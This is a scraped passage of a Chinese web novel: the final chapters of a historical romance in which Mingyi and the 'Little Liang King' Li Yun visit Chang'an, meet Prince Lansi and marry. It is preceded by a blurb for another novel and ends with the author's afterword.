再被怀疑后。 为了保住小命,她只能装作视而不见。 哪怕洗澡睡觉的时候,那怪物忽然出现在自己旁边。 陆祇表面上是个完美男生,实则是个靠恶念滋养的怪物。 他用恶念操控人心,甚至性命。 而每个人心中都有恶念。 当他发觉自己的秘密被人发现,却无法操控对方时。 人生中第一次对人有了兴趣。 他决定把人抢过来,试试凡夫俗子的男欢女爱。 * 百多年前,山河动荡,书生学子为避世,纷纷去武陵山中寻找陶渊明笔下的桃花源。 数年间,多有去无回。 原来他们寻到的桃花源,是一座巫村,村中供奉一邪神,以吸食恶念为生。 这些外来的年轻人都成了邪神的供品。 后来,这邪神爱上一名外来的女学生,为了她屠杀整个村落,并自焚于神庙中。 百年后,一名落魄商人闯入村落遗址,用秘术召唤邪神残魂,让其转世为妻子腹中胎儿。 取名祇。 唐沫开始频繁做一个梦。 梦里,自己和陆祇的怪物之身总在一座神庙中恩爱缠绵。 第98章 第 97 章 长安 “话说那突涅大汗阴险狡诈, 二十万大军进入沙洲,竟然派五千重甲兵绕过河西大营,直攻敦煌城。要知道敦煌城只留有六千河西军守城, 其中五千还是去年年底才招募的流民军。那突涅可汗打得一手好算盘, 故意派重甲兵攻城,乃是料定前方的小凉王会乱阵脚, 为救百姓, 不得不调遣前方大军回城中驰援。不料,小凉王得知北狄派重甲兵去攻城, 依旧岿然不动, 一个兵卒都没调遣。” 长安城中最大的茶楼云客居, 说书人正唾沫横飞说着几个月前小凉王大败北狄的事。 说到这里, 堂中立刻有人大声道:“小凉王杀伐决断,冷血无情, 众人皆知, 北狄贼子想用这种办法扰乱小凉王,那是痴人说梦!” 在众人七嘴八舌附和时,坐在大堂中间的一对男女, 却只慢条斯理喝着茶, 相视一眼, 好笑地摇摇头。 这对男女虽然打扮简单,但模样十分惹眼。男子五官深邃,生了一双灰色眸子,冷峻却不失昳丽, 他对面的女子,端雅秀丽,一双杏眼灵气动人。 正是明宜和李赟。 说书人摇摇头:“诸位客官, 此言差矣。小凉王没有调遣一兵一马去救城,乃是因为城中坐镇的是未来凉王妃。凉王妃乃是巾帼英豪,小凉王对她相当信任。而凉王妃也未辜负这份信任,率领守城将士顽强抵抗,又用游击之法,耗尽重甲兵的力气,最终凉王妃亲手斩下那重甲兵首领的头颅,将这几千北狄兵一网打尽!” “听说凉王妃就是曾经的西平侯夫人,小凉王的弟妹,可有此事?” 说书人笑着点头:“确有此事。” “那凉州果然民风野蛮,堂堂小凉王竟娶弟妹为妃?” 说书人摇头道:“小凉王和凉王妃同生死共患难,联手解决狄患,让我们大宁边境归于安稳。这样的儿郎和娘子,乃是天作之合,何须在意身份?他们可是圣上亲自赐婚的。” 众人交头接耳,深以为然。 李赟放下茶杯,笑道:“还要听吗?” 明宜摇摇头,好笑道:“鸡皮疙瘩都要起来了。” 虽然这故事与他们的经历大差不差,但从别人口中说出来,总还是有些难为情。 李赟找来茶博士,放了几枚铜钱在桌上。 两人起身正要离开,明宜到底没忍住,低声与那茶博士道:“你回头去告诉说书先生,北狄攻城的重甲兵是三千,不是五千。” 茶博士笑盈盈点头,也不知听没听进去。 李赟笑了笑,与她一起出了茶楼。 两人是五天前抵达的长安。 因着这回彻底解除狄患,乃是大功一桩。李赟又已提前在书信中呈表了明宜的功劳。 景明帝不仅嘉赏了小凉王,还特意授明宜“大宁女诸葛”的称号。 接下来两日,皇宫为小凉王大办接风洗尘宴,并在宫宴上亲自赐婚李赟和明宜。 除此之外,景明帝还大赦天下,陆浪自然也在这大赦之列。 待终于忙完,李赟和明宜才总算得了闲,扮做寻常百姓,好好游览一番长安城。 两人从茶楼出来,准备再去西市逛逛。 李赟上回来长安,已是十几年前,此刻行在熙攘大街,那张惯来冷峻的脸,难得露出几分好奇之色。 明宜打趣道:“小凉王是不是被长安繁荣富庶迷了眼?” 李赟笑着道:“长安虽好,我却还是更喜欢凉州。”说着又抬起那双深灰色眸子,歪头看向明宜,“不知三娘日后随我长居凉州,会不会舍不得长安的繁华?” 明宜笑道:“长安自然是好的,但繁文缛节太多,不如凉州逍遥自在。” 李赟也笑:“那倒是。” 这几日两人在皇宫可真是受够了。 李赟又有些抱怨道:“再过三天,就是咱们大婚之日,母亲发了话,明天开始,我得老老实实待在公主府,不能再与你会面。” 明宜笑道:“毕竟在长安,咱们还是要守点规矩。不过三天而已。” “也是。”李赟勾唇一笑,“三天之后,咱们就能朝夕相处,日日相对。” 明宜笑说:“日日相对,你就不嫌烦?” “怎么会?”李赟挑挑眉,“我独自一人这么多年,终于有佳人相伴,我只恨不得一时半刻都不分开。” “男人一开始都是这般哄骗女子,等到三五年,只怕你我就两看相厌。” 李赟眉头微蹙,好整以暇看向她:“你就这样看我?” 明宜见他认真,赶紧笑着安抚道:“我与你说笑呢,我们小凉王自然与寻常男子不同。” 李赟面色稍霁,但还是哼了声道:“你且等着瞧,看我是不是那会变心的薄幸男。” 明宜见他这模样,不由得轻笑出声:“好啦,三娘知道阿兄不是薄幸男。” 正说着,前方忽然传来一道清朗的声音:“三娘子——” 明宜循声看去,却见是个俊美的绿眸少年,一脸兴奋地朝自己跑过来。 不是一年未见的兰斯王子,还能是谁? 乍见故人,明宜自然也兴奋,也不管身旁的李赟,直接朝人小跑过去。 “兰斯,你还在长安呢?” 兰斯用力点头,一双绿眸亮晶晶地望着她,激动道:“三娘子在河西的事迹,我都听说了,知道前几日你回了长安,正想着送拜帖去府上拜访,没想到竟然在这里与三娘子偶遇,这可真是缘分。” 他说的是长安官话,虽然口音还有些蹩脚,但还算流畅,可见这一年在长安没有白待。 明宜笑眯眯道:“说起来还要多亏你当初送我的符牌,我们才能顺利请摘星楼帮我们买到五千战马。” “能帮你就好。”兰斯嘻嘻地笑,“对了三娘子,你这是要哪里?不知可否方便,一起去喝杯茶?” 这回明宜还未说话,李赟阴恻恻的声音先从身后响起:“我们刚从茶楼出来。” 兰斯听到这声音,才后知后觉朝对方看去,连忙拱手道:“见过小凉王殿下,方才没注意到你也在。” 李赟差点一口气噎住,敢情眼里只看得到明宜,至于他连看都看不到吧? 兰斯说完便又将目光转向明宜,笑盈盈道:“既然喝过茶,那不如去我府上坐一坐,咱们也好叙叙旧?” 明宜想着反正也无事,正要答应,李赟又已插话道:“这是长安,一个女子登门男子府上,只怕不是很方便?不过三娘不方便登门,兰斯王子三天后倒是可以来我们府上喝杯酒。” 兰斯一时没反应过来,点点头:“那也行。” 李赟继续道:“过三天便是我和三娘的大婚,回头我便让人送帖子去府上,这杯喜酒兰斯可是一定要喝的。” 兰斯微微一怔,面上露出一丝失落。这绿眸小王子到底心思简单,心里想什么,不由自主便说了出来:“没想到三娘子会和小凉王殿下终成眷属。”说着又像是鼓足勇气一般,看向李赟道,“小凉王,你可不能欺负三娘子!” 李赟都快被这家伙气笑了,也不管身份,伸手点了点少年的额头:“小王子,收起你那点心思,我和三娘好得很,喜欢我们大宁的姑娘,就在长安多待些时日,寻一个情投意合的姑娘,带她去你们大宛。” 兰斯捂着被戳痛的额头,红着脸支支吾吾不满道:“小凉王殿下,你怎么这么说话!” 明宜将李赟的手捉住,以防再作乱,笑道:“阿兄,别欺负兰斯!” 李赟瞥她一眼,酸溜溜闷声道:“还心疼上这绿眸小王子了?说什么男人薄幸,我看会变心的人是你才对。” 明宜哭笑不得:“当初兰斯的符牌可是帮了我们大忙。” 李赟冷哼一声:“能让摘星君为我们买马,最终是因为我喝了三步倒。”说着又看向兰斯,拱手客气道,“多谢兰斯王子的相助。” 兰斯忽然被他行礼,有点不好意思地摸摸头:“若不是王爷在凉州相助,我也没法顺利抵达长安。”然后拱手真心实意道,“兰斯祝王爷和三娘子百年好合!” 李赟勾了勾嘴角,伸手亲昵地拍拍他肩膀:“嗯,也祝小王子平安喜乐,早日觅得良人。那我们先走了,三天后来喝我和三娘的喜酒。” “好!”兰斯笑着点头。 双方道别,明宜忍不住用手肘戳了戳李赟,低声笑道:“小凉王可真是个大醋缸!” 李赟邪乜她一眼,勾起嘴角,“那兰斯小王子本就对我们三娘心思不纯。”说着也不顾是在川流不息的大街上,一把攥住她的手,故作叹息一声:“没办法,三娘这样的佳人,实在容易招男子觊觎,本王要抓紧点才行。” 明宜嗔道:“尽说胡话。” 李赟垂眸瞧她。 虽然身着男装,不施粉黛,但长安的艳阳为这张清丽绝伦的脸,抹上了红妆。 在他眼中,依然美得不可方物。 李赟喉头滑动了下,心中涌上一股熟悉的饥渴,他低声喃喃道:“三娘,接下来三天都不能见面,我们去找个没人的地方,好好待一待可好?” 明宜不做他想,只点头道:“随你。” 李赟嘴角勾起一抹坏笑。【..top】 第99章 正文完结 第99章 第 98 章 正文完结 明宜是暮色四合时回的侯府。 幸而天色已暗沉, 她那张没抹口脂的唇,分明有着不寻常的红肿,至于脖子和衣服下, 更是诸多红印斑驳。 这半日, 李赟带她去了个没人打扰的地方,可谓是肆无忌惮为所欲为。 明宜知道他血气方刚, 如今又得了闲, 难免憋得慌,也就由着他胡作非为了。 三天后的这场婚礼, 可谓是长安城许久以来的一桩盛事。 若换做其他人, 夫君过世不过一年, 又再醮夫兄, 但新郎是小凉王,似乎就一切合情合理起来。 他灭掉北狄, 为大宁解除边患, 足以功标青史,这样的人,想娶什么样的女子都不为过。 而他又是狄人出身, 本就不讲这些礼教规矩。 至于侯夫人, 一个能抵挡几千重甲兵, 守住一座城的女子,自然也不会在意这些繁文缛节。 两人在坊间已被传为天造地设一对,乃是一桩美谈。 当然,朝中也有一些老古板假道学, 对这场婚事不以为然,只是谁也不敢表达不满。 李赟在京城没有府邸,两人大婚便在公主府。 婚礼之事, 惠心公主早在两个月前就着手准备,李赟和明宜倒是不需操心。 明宜乃是从侯府出嫁,与娘家再无关系,宋家人听闻了她在河西的事,对她多少带了些畏惧,加之再嫁之人是小凉王,圣上亲自指的婚,宋父和继母不敢有任何微词,只老老实实送来丰厚贺礼, 她倒是不在意这些贺礼,毕竟当初嫁给李悆时,已带了足够的嫁妆,李悆过世又将侯府财产都留给她,这回景明帝给她赏赐的财帛也颇为壮观。 总之,她拥有的钱财,足够让她远嫁凉州,几辈子衣食无忧。 “娘子,没想到你这么快又出嫁了?” 侯府内,白芷正为明宜梳着妆,看到镜子里明艳动人的新娘,喜滋滋道。 明宜瞪她一眼。 白芷不以为意地咧嘴傻笑,又稍稍正色道:“侯爷临终前,特意叮嘱娘子,日后要寻得良人,相伴一生。若他知道娘子这么快就遇到良人,这良人还是亲兄长,泉下有知,定会替你和王爷高兴。” 明宜轻笑了笑:“但愿吧。” 虽然有过一次成亲经历,但这回到底有些不同,她望着铜镜中,粉面桃腮的自己,也不得不承认,内心比预想得还要激动。 因为这次婚礼,没有掺杂任何目的,只是单纯地嫁给自己心慕之人。 黄昏已至,敲锣打鼓声,由远及近传来。 “来了!”白芷欢喜道。 明宜赶紧将好整以暇坐好,又仔细检查了一番妆容,确定没有瑕疵,才放心。 与此同时,外面的小凉王正坐在一匹高头大马上,那张俊美的脸微微昂起,嘴角是无论如何都压不下去的弧度,这模样比从前打了胜仗回程还要志得意满。 他只恨公主府与侯府相邻,不能让他在娶亲的途中,打马游街一番,让长安城的百姓都亲眼见证他李赟的大婚。 因是从侯府出嫁,新郎并不需要拜见岳父母,而是由府中嬷嬷直接领至新娘闺房。 “吉时到,新郎官来接新娘子啦!” 穿着大红喜袍的李赟,连带着双颊都被染红,他身姿笔挺地站在房门外,竟是有几分局促。 大敌当前都未曾紧张过的小凉王,此时的一颗心却是扑通扑通,快要从胸口跳出来。 他深吸一口气,让自己冷静下来。 紧闭的房门,咯吱一声被打开。 凤冠霞帔的新娘,在几个婢女簇拥下,缓缓走出来。 明宜手举团扇掩面。 李赟下意识就要上前,去瞧瞧她今日的模样。 被喜婆及时拦下,对方笑眯眯道:“小凉王殿下,按着规矩,在洞房之前,新郎官是不能见新娘的脸的。” 李赟这才停下动作,只是一双灰眸依旧盯着明宜,似是想透过团扇去看那张让自己魂牵梦绕的脸。 还是喜婆提醒,他才伸手牵过明宜,领着她往外走。 时隔三天,两人的手再次十指交缠,却好似与从前截然不同。 彼此手心的温度,仿佛瞬间便传至心头。 李赟胸口涌上一股说不上来的热潮,直蹿上眼眶。 若不是天色已昏沉,旁人定会发现小凉王那双深邃灰眸,此时透着不寻常的红色,甚至还隐隐有些水光。 喧嚣锣鼓,喜婆口中一串串吉祥话,李赟好似都听不到了,天地之间仿佛只剩他和牵着的那个人。 让他有种不知今夕何夕的恍然。 及至到了门口,喜婆提示他送新娘子入轿,他这才勉强回过一点神。 小心翼翼扶着明宜进了喜轿,李赟深吸一口气,自己坐上高头大马,不得喜婆管事的开口,自己已经迫不及待高声道:“起轿!” 众人顿时闷声笑起来。 两座府邸隔了不到半里地。 相较于清静的侯府,此时红灯高悬的公主府,已是高朋满座。 皇家婚仪式难免繁琐,明宜有经验,倒还算从容,李赟却是有些手忙脚乱。 跪拜圣上和母亲时,甚至踩到自己袍角,狠狠踉跄了下,还是明宜眼明手快抓住他。 向来泰山崩于前而色不变的小凉王,难得露出几分无所适从。 景明帝和惠心公主见状,不由会心一笑。 “新郎新娘入洞房——” 随着窸窸窣窣的脚步离去,房门咯吱一声被关上,馨香雅致的新房内,只剩两人,一时忽然变得有些诡异地安静。 坐在床上的明宜半晌没听到李赟的动静,不由将遮面的团扇移开半截。 却见对方不知何时已站在自己面前一米处,正垂眸一错不错地望着自己。 他还未去敬酒,但脸上却浮着两团不寻常的绯红,那双灰眸仿若含着两汪春水一样,波光粼粼。 明宜微微歪头,好笑问道:“你这是作何?” 李赟上前一步,握住她的手,将团扇取下来,轻笑道:“别拿这个了,也不嫌举着累。” 明宜笑道:“这是规矩。” 李赟不置可否,只半蹲下身,轻轻摸了摸面前这张美得不可方物的脸庞,双眼亮晶晶道:“三娘,从今日起咱们就是夫妻了。” “嗯。”明宜点头,说着朝他伸手努努嘴,“还没喝合卺酒呢!” 李赟这才恍然大悟,赶紧转身去倒了两杯酒过来,将其中一杯递给对方。 两人手臂交错,将杯中美酒一饮而下。 明宜的面颊,立刻染上了两团好看的红晕。 李赟看得有些迷醉,他伸手将对方头上繁冗凤冠摘下放在一旁,又捧着她的脸亲上来。 彼此口中的酒香,在唇舌交缠中弥漫。 眼见对方的手在解自己的喜袍,明宜反过来,将他轻轻推开:“你快出去敬酒,外面那么多皇亲国戚等着你招待呢!” 李赟撇撇嘴嘟囔:“今日是本王大婚之日,为何我要去管那些无关之人?” 小凉王难得孩子气,明宜不由得轻笑出声:“那些都是今晚你我大婚的宾客,怎能算无关之人?何况陛下还在呢?” 李赟长长叹一口气:“那你且等着我,我敬了酒便回来。”说着勾唇一笑,凑到对方耳畔哑声道,“回来与你圆房。” 明宜轻飘飘瞪她一眼,又掩嘴低笑出声。 李赟也笑,施施然起身:“天气热,你把喜袍解了。” “嗯。” 这一身繁冗喜袍穿着确实热,待对方出了门,自己便解了衣衫,又让白芷送来热水,沐浴更衣。 而宴厅的李赟,正一桌桌敬着酒,这宴厅中皆是天潢贵胄,光是皇子公主都有十来个。 然而小凉王这酒确敬得极为敷衍,是人都瞧得出他眼下满心都是回洞房。 景明帝倒也贴心,最先道别,其余人也陆陆续续散去,只剩一些年轻人继续斗酒作乐。 周子炤要拉着李赟一起玩,被他轻飘飘看了眼,立即识趣退下。 李赟扫了眼众人,朗声笑道:“诸位继续玩,本王不胜酒力,就不作陪了。” 说罢,便丢下众宾客,施施然回了婚房。 他心急了这么久,可待回到院中,看着房门内摇曳的红烛,心情忽然又平静下来。 他伸手摸了摸额头,因为天热和酒意,上面已有了一层薄薄的汗。 想了想,他决定先去将自己洗干净。 在房中等得百无聊赖的明宜,本是听到李赟回院子的动静,但半天又不见他进来,正要好奇开门去看。 新房的门,咯吱一声从外面被推开:“三娘,我回来了。” 明宜抬头,见李赟从门口走进来,绾起的头发早已散开,身上的红喜袍,也松松垮垮敞开着,露出虚虚系着的丝绸里衣,浑身上下还散发着水汽,显然是刚刚沐浴过。 是略显慵懒的模样,因为喝过酒,脸上还染着绯红,配上那张俊美的脸,便有了几分魅惑之感。 明宜心脏不由自主跳快了些,笑着坐正:“宾客都散了?” 李赟反手阖上门,轻笑道:“五郎他们还在斗酒,他们玩他们的,不能耽误我的洞房花烛。” 说着,他走到床边,在明宜身旁坐下, 等了这么久,到这会儿他反倒是不急了。 只将对方的手握在掌心,笑盈盈望着人不说话。 明宜对上他那双略有些熏然的眼睛,不知为何,莫名生出一股赧然,不由得微微垂眸,避开了他的目光。 李赟低低笑出声。 明宜轻轻推,佯嗔道:“你笑甚?” 李赟抬手拂过她额前的发丝:“今日是我活了这么多年,最欢喜的一天。” 明宜眉眼弯弯望向他:“只是今日么?” 李赟微微一怔,继而又笑道:“是从今往后,每日都会与今日一样欢喜。” 明宜忍不住笑出声,再抬眸,又撞入对方笑盈盈的灰眸中。 她忽然想起,当初第一次看到这双眼睛,只觉得像是狼一般让人胆战心惊,但如今却觉得温柔似水。 李赟终于看够了美人,勾唇一笑:“春宵苦短,我们可不要浪费了。” 说罢,揽住明宜卧倒在床内。 幔帐落下,红烛摇曳。 一室春光。 惟愿年年有今日,岁岁有今朝—— 作者有话说:终于写完了,非常艰难,因为完全不是我的舒适区,但自己还挺满意的。 可能这两天开隔壁,这个舒适一点哈哈哈【..top】